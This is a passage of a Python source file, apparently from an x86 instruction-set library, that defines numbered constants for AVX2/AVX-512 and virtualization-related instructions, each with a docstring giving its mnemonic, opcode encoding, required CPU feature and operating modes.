EVEX_VPSHLDVW_YMM_K1Z_YMM_YMMM256: int = 3157
"""
``VPSHLDVW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 70 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVW_ZMM_K1Z_ZMM_ZMMM512: int = 3158
"""
``VPSHLDVW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 70 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVD_XMM_K1Z_XMM_XMMM128B32: int = 3159
"""
``VPSHLDVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 71 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVD_YMM_K1Z_YMM_YMMM256B32: int = 3160
"""
``VPSHLDVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 71 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3161
"""
``VPSHLDVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 71 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVQ_XMM_K1Z_XMM_XMMM128B64: int = 3162
"""
``VPSHLDVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 71 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVQ_YMM_K1Z_YMM_YMMM256B64: int = 3163
"""
``VPSHLDVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 71 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3164
"""
``VPSHLDVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 71 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVW_XMM_K1Z_XMM_XMMM128: int = 3165
"""
``VPSHRDVW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 72 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVW_YMM_K1Z_YMM_YMMM256: int = 3166
"""
``VPSHRDVW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 72 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVW_ZMM_K1Z_ZMM_ZMMM512: int = 3167
"""
``VPSHRDVW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 72 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VCVTNEPS2BF16_XMM_K1Z_XMMM128B32: int = 3168
"""
``VCVTNEPS2BF16 xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.F3.0F38.W0 72 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VCVTNEPS2BF16_XMM_K1Z_YMMM256B32: int = 3169
"""
``VCVTNEPS2BF16 xmm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.F3.0F38.W0 72 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VCVTNEPS2BF16_YMM_K1Z_ZMMM512B32: int = 3170
"""
``VCVTNEPS2BF16 ymm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.F3.0F38.W0 72 /r``
``AVX512F and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VCVTNE2PS2BF16_XMM_K1Z_XMM_XMMM128B32: int = 3171
"""
``VCVTNE2PS2BF16 xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F2.0F38.W0 72 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VCVTNE2PS2BF16_YMM_K1Z_YMM_YMMM256B32: int = 3172
"""
``VCVTNE2PS2BF16 ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F2.0F38.W0 72 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VCVTNE2PS2BF16_ZMM_K1Z_ZMM_ZMMM512B32: int = 3173
"""
``VCVTNE2PS2BF16 zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.F2.0F38.W0 72 /r``
``AVX512F and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VPSHRDVD_XMM_K1Z_XMM_XMMM128B32: int = 3174
"""
``VPSHRDVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 73 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVD_YMM_K1Z_YMM_YMMM256B32: int = 3175
"""
``VPSHRDVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 73 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3176
"""
``VPSHRDVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 73 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVQ_XMM_K1Z_XMM_XMMM128B64: int = 3177
"""
``VPSHRDVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 73 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVQ_YMM_K1Z_YMM_YMMM256B64: int = 3178
"""
``VPSHRDVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 73 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3179
"""
``VPSHRDVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 73 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPERMI2B_XMM_K1Z_XMM_XMMM128: int = 3180
"""
``VPERMI2B xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 75 /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMI2B_YMM_K1Z_YMM_YMMM256: int = 3181
"""
``VPERMI2B ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 75 /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMI2B_ZMM_K1Z_ZMM_ZMMM512: int = 3182
"""
``VPERMI2B zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 75 /r``
``AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMI2W_XMM_K1Z_XMM_XMMM128: int = 3183
"""
``VPERMI2W xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 75 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMI2W_YMM_K1Z_YMM_YMMM256: int = 3184
"""
``VPERMI2W ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 75 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMI2W_ZMM_K1Z_ZMM_ZMMM512: int = 3185
"""
``VPERMI2W zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 75 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMI2D_XMM_K1Z_XMM_XMMM128B32: int = 3186
"""
``VPERMI2D xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2D_YMM_K1Z_YMM_YMMM256B32: int = 3187
"""
``VPERMI2D ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2D_ZMM_K1Z_ZMM_ZMMM512B32: int = 3188
"""
``VPERMI2D zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 76 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2Q_XMM_K1Z_XMM_XMMM128B64: int = 3189
"""
``VPERMI2Q xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2Q_YMM_K1Z_YMM_YMMM256B64: int = 3190
"""
``VPERMI2Q ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 76 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2Q_ZMM_K1Z_ZMM_ZMMM512B64: int = 3191
"""
``VPERMI2Q zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 76 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PS_XMM_K1Z_XMM_XMMM128B32: int = 3192
"""
``VPERMI2PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 77 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PS_YMM_K1Z_YMM_YMMM256B32: int = 3193
"""
``VPERMI2PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 77 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3194
"""
``VPERMI2PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 77 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PD_XMM_K1Z_XMM_XMMM128B64: int = 3195
"""
``VPERMI2PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 77 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PD_YMM_K1Z_YMM_YMMM256B64: int = 3196
"""
``VPERMI2PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 77 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMI2PD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3197
"""
``VPERMI2PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 77 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPBROADCASTB_XMM_XMMM8: int = 3198
"""
``VPBROADCASTB xmm1, xmm2/m8``
``VEX.128.66.0F38.W0 78 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPBROADCASTB_YMM_XMMM8: int = 3199
"""
``VPBROADCASTB ymm1, xmm2/m8``
``VEX.256.66.0F38.W0 78 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_XMM_K1Z_XMMM8: int = 3200
"""
``VPBROADCASTB xmm1 {k1}{z}, xmm2/m8``
``EVEX.128.66.0F38.W0 78 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_YMM_K1Z_XMMM8: int = 3201
"""
``VPBROADCASTB ymm1 {k1}{z}, xmm2/m8``
``EVEX.256.66.0F38.W0 78 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_ZMM_K1Z_XMMM8: int = 3202
"""
``VPBROADCASTB zmm1 {k1}{z}, xmm2/m8``
``EVEX.512.66.0F38.W0 78 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_VPBROADCASTW_XMM_XMMM16: int = 3203
"""
``VPBROADCASTW xmm1, xmm2/m16``
``VEX.128.66.0F38.W0 79 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPBROADCASTW_YMM_XMMM16: int = 3204
"""
``VPBROADCASTW ymm1, xmm2/m16``
``VEX.256.66.0F38.W0 79 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_XMM_K1Z_XMMM16: int = 3205
"""
``VPBROADCASTW xmm1 {k1}{z}, xmm2/m16``
``EVEX.128.66.0F38.W0 79 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_YMM_K1Z_XMMM16: int = 3206
"""
``VPBROADCASTW ymm1 {k1}{z}, xmm2/m16``
``EVEX.256.66.0F38.W0 79 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_ZMM_K1Z_XMMM16: int = 3207
"""
``VPBROADCASTW zmm1 {k1}{z}, xmm2/m16``
``EVEX.512.66.0F38.W0 79 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_XMM_K1Z_R32: int = 3208
"""
``VPBROADCASTB xmm1 {k1}{z}, r32``
``EVEX.128.66.0F38.W0 7A /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_YMM_K1Z_R32: int = 3209
"""
``VPBROADCASTB ymm1 {k1}{z}, r32``
``EVEX.256.66.0F38.W0 7A /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTB_ZMM_K1Z_R32: int = 3210
"""
``VPBROADCASTB zmm1 {k1}{z}, r32``
``EVEX.512.66.0F38.W0 7A /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_XMM_K1Z_R32: int = 3211
"""
``VPBROADCASTW xmm1 {k1}{z}, r32``
``EVEX.128.66.0F38.W0 7B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_YMM_K1Z_R32: int = 3212
"""
``VPBROADCASTW ymm1 {k1}{z}, r32``
``EVEX.256.66.0F38.W0 7B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTW_ZMM_K1Z_R32: int = 3213
"""
``VPBROADCASTW zmm1 {k1}{z}, r32``
``EVEX.512.66.0F38.W0 7B /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_XMM_K1Z_R32: int = 3214
"""
``VPBROADCASTD xmm1 {k1}{z}, r32``
``EVEX.128.66.0F38.W0 7C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_YMM_K1Z_R32: int = 3215
"""
``VPBROADCASTD ymm1 {k1}{z}, r32``
``EVEX.256.66.0F38.W0 7C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_ZMM_K1Z_R32: int = 3216
"""
``VPBROADCASTD zmm1 {k1}{z}, r32``
``EVEX.512.66.0F38.W0 7C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTQ_XMM_K1Z_R64: int = 3217
"""
``VPBROADCASTQ xmm1 {k1}{z}, r64``
``EVEX.128.66.0F38.W1 7C /r``
``AVX512VL and AVX512F``
``64-bit``
"""
EVEX_VPBROADCASTQ_YMM_K1Z_R64: int = 3218
"""
``VPBROADCASTQ ymm1 {k1}{z}, r64``
``EVEX.256.66.0F38.W1 7C /r``
``AVX512VL and AVX512F``
``64-bit``
"""
EVEX_VPBROADCASTQ_ZMM_K1Z_R64: int = 3219
"""
``VPBROADCASTQ zmm1 {k1}{z}, r64``
``EVEX.512.66.0F38.W1 7C /r``
``AVX512F``
``64-bit``
"""
EVEX_VPERMT2B_XMM_K1Z_XMM_XMMM128: int = 3220
"""
``VPERMT2B xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 7D /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMT2B_YMM_K1Z_YMM_YMMM256: int = 3221
"""
``VPERMT2B ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 7D /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMT2B_ZMM_K1Z_ZMM_ZMMM512: int = 3222
"""
``VPERMT2B zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 7D /r``
``AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMT2W_XMM_K1Z_XMM_XMMM128: int = 3223
"""
``VPERMT2W xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 7D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMT2W_YMM_K1Z_YMM_YMMM256: int = 3224
"""
``VPERMT2W ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 7D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMT2W_ZMM_K1Z_ZMM_ZMMM512: int = 3225
"""
``VPERMT2W zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 7D /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMT2D_XMM_K1Z_XMM_XMMM128B32: int = 3226
"""
``VPERMT2D xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 7E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2D_YMM_K1Z_YMM_YMMM256B32: int = 3227
"""
``VPERMT2D ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 7E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2D_ZMM_K1Z_ZMM_ZMMM512B32: int = 3228
"""
``VPERMT2D zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 7E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2Q_XMM_K1Z_XMM_XMMM128B64: int = 3229
"""
``VPERMT2Q xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 7E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2Q_YMM_K1Z_YMM_YMMM256B64: int = 3230
"""
``VPERMT2Q ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 7E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2Q_ZMM_K1Z_ZMM_ZMMM512B64: int = 3231
"""
``VPERMT2Q zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 7E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PS_XMM_K1Z_XMM_XMMM128B32: int = 3232
"""
``VPERMT2PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PS_YMM_K1Z_YMM_YMMM256B32: int = 3233
"""
``VPERMT2PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3234
"""
``VPERMT2PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 7F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PD_XMM_K1Z_XMM_XMMM128B64: int = 3235
"""
``VPERMT2PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PD_YMM_K1Z_YMM_YMMM256B64: int = 3236
"""
``VPERMT2PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMT2PD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3237
"""
``VPERMT2PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 7F /r``
``AVX512F``
``16/32/64-bit``
"""
INVEPT_R32_M128: int = 3238
"""
``INVEPT r32, m128``
``66 0F 38 80 /r``
``VMX and IA32_VMX_EPT_VPID_CAP[bit 20]``
``16/32-bit``
"""
INVEPT_R64_M128: int = 3239
"""
``INVEPT r64, m128``
``66 0F 38 80 /r``
``VMX and IA32_VMX_EPT_VPID_CAP[bit 20]``
``64-bit``
"""
INVVPID_R32_M128: int = 3240
"""
``INVVPID r32, m128``
``66 0F 38 81 /r``
``VMX and IA32_VMX_EPT_VPID_CAP[bit 32]``
``16/32-bit``
"""
INVVPID_R64_M128: int = 3241
"""
``INVVPID r64, m128``
``66 0F 38 81 /r``
``VMX and IA32_VMX_EPT_VPID_CAP[bit 32]``
``64-bit``
"""
INVPCID_R32_M128: int = 3242
"""
``INVPCID r32, m128``
``66 0F 38 82 /r``
``INVPCID``
``16/32-bit``
"""
INVPCID_R64_M128: int = 3243
"""
``INVPCID r64, m128``
``66 0F 38 82 /r``
``INVPCID``
``64-bit``
"""
EVEX_VPMULTISHIFTQB_XMM_K1Z_XMM_XMMM128B64: int = 3244
"""
``VPMULTISHIFTQB xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 83 /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPMULTISHIFTQB_YMM_K1Z_YMM_YMMM256B64: int = 3245
"""
``VPMULTISHIFTQB ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 83 /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPMULTISHIFTQB_ZMM_K1Z_ZMM_ZMMM512B64: int = 3246
"""
``VPMULTISHIFTQB zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 83 /r``
``AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VEXPANDPS_XMM_K1Z_XMMM128: int = 3247
"""
``VEXPANDPS xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W0 88 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXPANDPS_YMM_K1Z_YMMM256: int = 3248
"""
``VEXPANDPS ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W0 88 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXPANDPS_ZMM_K1Z_ZMMM512: int = 3249
"""
``VEXPANDPS zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W0 88 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VEXPANDPD_XMM_K1Z_XMMM128: int = 3250
"""
``VEXPANDPD xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W1 88 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXPANDPD_YMM_K1Z_YMMM256: int = 3251
"""
``VEXPANDPD ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W1 88 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VEXPANDPD_ZMM_K1Z_ZMMM512: int = 3252
"""
``VEXPANDPD zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W1 88 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDD_XMM_K1Z_XMMM128: int = 3253
"""
``VPEXPANDD xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W0 89 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDD_YMM_K1Z_YMMM256: int = 3254
"""
``VPEXPANDD ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W0 89 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDD_ZMM_K1Z_ZMMM512: int = 3255
"""
``VPEXPANDD zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W0 89 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDQ_XMM_K1Z_XMMM128: int = 3256
"""
``VPEXPANDQ xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W1 89 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDQ_YMM_K1Z_YMMM256: int = 3257
"""
``VPEXPANDQ ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W1 89 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDQ_ZMM_K1Z_ZMMM512: int = 3258
"""
``VPEXPANDQ zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W1 89 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPS_XMMM128_K1Z_XMM: int = 3259
"""
``VCOMPRESSPS xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W0 8A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPS_YMMM256_K1Z_YMM: int = 3260
"""
``VCOMPRESSPS ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W0 8A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPS_ZMMM512_K1Z_ZMM: int = 3261
"""
``VCOMPRESSPS zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W0 8A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPD_XMMM128_K1Z_XMM: int = 3262
"""
``VCOMPRESSPD xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W1 8A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPD_YMMM256_K1Z_YMM: int = 3263
"""
``VCOMPRESSPD ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W1 8A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCOMPRESSPD_ZMMM512_K1Z_ZMM: int = 3264
"""
``VCOMPRESSPD zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W1 8A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSD_XMMM128_K1Z_XMM: int = 3265
"""
``VPCOMPRESSD xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W0 8B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSD_YMMM256_K1Z_YMM: int = 3266
"""
``VPCOMPRESSD ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W0 8B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSD_ZMMM512_K1Z_ZMM: int = 3267
"""
``VPCOMPRESSD zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W0 8B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSQ_XMMM128_K1Z_XMM: int = 3268
"""
``VPCOMPRESSQ xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W1 8B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSQ_YMMM256_K1Z_YMM: int = 3269
"""
``VPCOMPRESSQ ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W1 8B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSQ_ZMMM512_K1Z_ZMM: int = 3270
"""
``VPCOMPRESSQ zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W1 8B /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPMASKMOVD_XMM_XMM_M128: int = 3271
"""
``VPMASKMOVD xmm1, xmm2, m128``
``VEX.128.66.0F38.W0 8C /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVD_YMM_YMM_M256: int = 3272
"""
``VPMASKMOVD ymm1, ymm2, m256``
``VEX.256.66.0F38.W0 8C /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVQ_XMM_XMM_M128: int = 3273
"""
``VPMASKMOVQ xmm1, xmm2, m128``
``VEX.128.66.0F38.W1 8C /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVQ_YMM_YMM_M256: int = 3274
"""
``VPMASKMOVQ ymm1, ymm2, m256``
``VEX.256.66.0F38.W1 8C /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPERMB_XMM_K1Z_XMM_XMMM128: int = 3275
"""
``VPERMB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 8D /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
